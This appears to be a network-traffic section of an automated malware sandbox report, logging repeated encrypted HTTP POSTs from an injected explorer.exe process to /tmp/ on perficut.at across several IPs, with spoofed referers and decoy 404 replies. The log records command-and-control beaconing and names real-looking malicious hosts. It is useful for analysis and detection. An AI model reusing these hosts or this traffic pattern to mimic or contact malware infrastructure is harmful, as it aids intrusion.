Feb 16, 2023 11:49:48.038847923 CET	4819	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 5c 3f e7 93 Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA -[k,vu\?btgF:5Tn27ziD:DxH1PA,27IJQ[ )a%<YRJ9DSIw~>y#
Feb 16, 2023 11:49:48.924221992 CET	4819	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:48 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49719	210.182.29.70	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:49.249803066 CET	4820	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ayfunfy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 197 Host: perficut.at
Feb 16, 2023 11:49:49.249886036 CET	4820	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 71 2a e2 bf Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA -[k,vuqzFsQ&FY*\Su-rkxQClk3"lZU_`fV(6t;pgn8l
Feb 16, 2023 11:49:50.636269093 CET	4821	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49720	210.182.29.70	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:50.956480980 CET	4822	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tyxon.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 195 Host: perficut.at
Feb 16, 2023 11:49:50.956527948 CET	4822	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 74 37 d0 94 Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vut7uSTqo$WQCy[elXy2B+4@(G$Y4<a!f4tRd
Feb 16, 2023 11:49:52.300899029 CET	4823	IN	HTTP/1.1 200 OK Date: Thu, 16 Feb 2023 10:49:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49721	210.182.29.70	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:52.716156960 CET	4824	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://capmtub.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: perficut.at
Feb 16, 2023 11:49:52.716207981 CET	4824	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 62 5c b9 f8 Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vub\[x;k9W$Wz&2r1E57}1"(wC6DTV<7Ga+-WEsoGjV:w^AVS
Feb 16, 2023 11:49:54.072783947 CET	4824	IN	HTTP/1.1 200 OK Date: Thu, 16 Feb 2023 10:49:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49722	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:55.257003069 CET	4825	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ufhdnlxmao.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 332 Host: perficut.at
Feb 16, 2023 11:49:55.257055998 CET	4826	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 41 5d e8 92 Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA -[k,vuA]vW]fp>Nvo>C!GDUHx\E.ne,!zS5o5.j<.V"[5+tZkO`s~kh[+5
Feb 16, 2023 11:49:56.165486097 CET	4827	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49723	211.171.233.126	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:57.565632105 CET	4828	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xxodssdgca.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 276 Host: perficut.at
Feb 16, 2023 11:49:57.565632105 CET	4828	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 4d 20 fa a0 Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA -[k,vuM x"R_h^1eT@ab[F}K>&1Tz,I2D}v`Nt3uR<#'$perg_a7b
Feb 16, 2023 11:49:58.850142002 CET	4829	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:58 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49724	187.209.149.199	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:59.628058910 CET	4830	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jouqv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 264 Host: perficut.at
Feb 16, 2023 11:49:59.628089905 CET	4830	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1c 6b 2c 90 f5 76 0b 75 58 34 e2 8b Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vuX4nTdhElpN(`^>U\axJI\gf\|:(}d(6X``&dBW.xys ~1T
Feb 16, 2023 11:50:00.325999022 CET	4831	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:50:00 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49725	211.171.233.126	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:50:00.716516972 CET	4832	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hncaebxe.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 180 Host: perficut.at
Feb 16, 2023 11:50:00.716583014 CET	4832	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 1d 6b 2c 90 f5 76 0b 75 3c 5e dc 9b Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vu<^JE_M1!DsyN[3TY]gt<+Y,GP,#@=$%
Feb 16, 2023 11:50:04.438142061 CET	4833	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:50:01 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49726	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:50:04.713635921 CET	4834	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rjvenvf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 191 Host: perficut.at
Feb 16, 2023 11:50:04.713680983 CET	4834	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 12 6b 2c 90 f5 76 0b 75 57 22 c9 87 Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA -[k,vuW"o~Dh;Ot>\ZvqWZ<KFRK_",9L@OgbI
Feb 16, 2023 11:50:05.610321999 CET	4835	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:50:05 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49699	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:09.461009979 CET	158	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pnphhtrvf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: perficut.at
Feb 16, 2023 11:49:09.461086035 CET	159	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 4a 1c ac 8c Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vuJJj@\|&9#n~?Y;ifTU1X77][fxH:I41eO"Eq#QMxNtS[Q}?}0
Feb 16, 2023 11:49:10.329709053 CET	159	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:49:09 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 43 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2b 58 24 17 a4 6e 44 aa aa 13 bd cf b1 f9 6d 80 21 c1 ec 2a 14 10 94 8f Data Ascii: #\+X$nDm!*

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49727	79.102.150.149	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:50:05.729923964 CET	4836	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wnfirxy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 202 Host: perficut.at
Feb 16, 2023 11:50:05.729962111 CET	4836	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 13 6b 2c 90 f5 76 0b 75 29 30 ce e7 Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA -[k,vu)0}L^^ecb}e'jc,nAP&FAYN\;8>5]Yz9M%@X
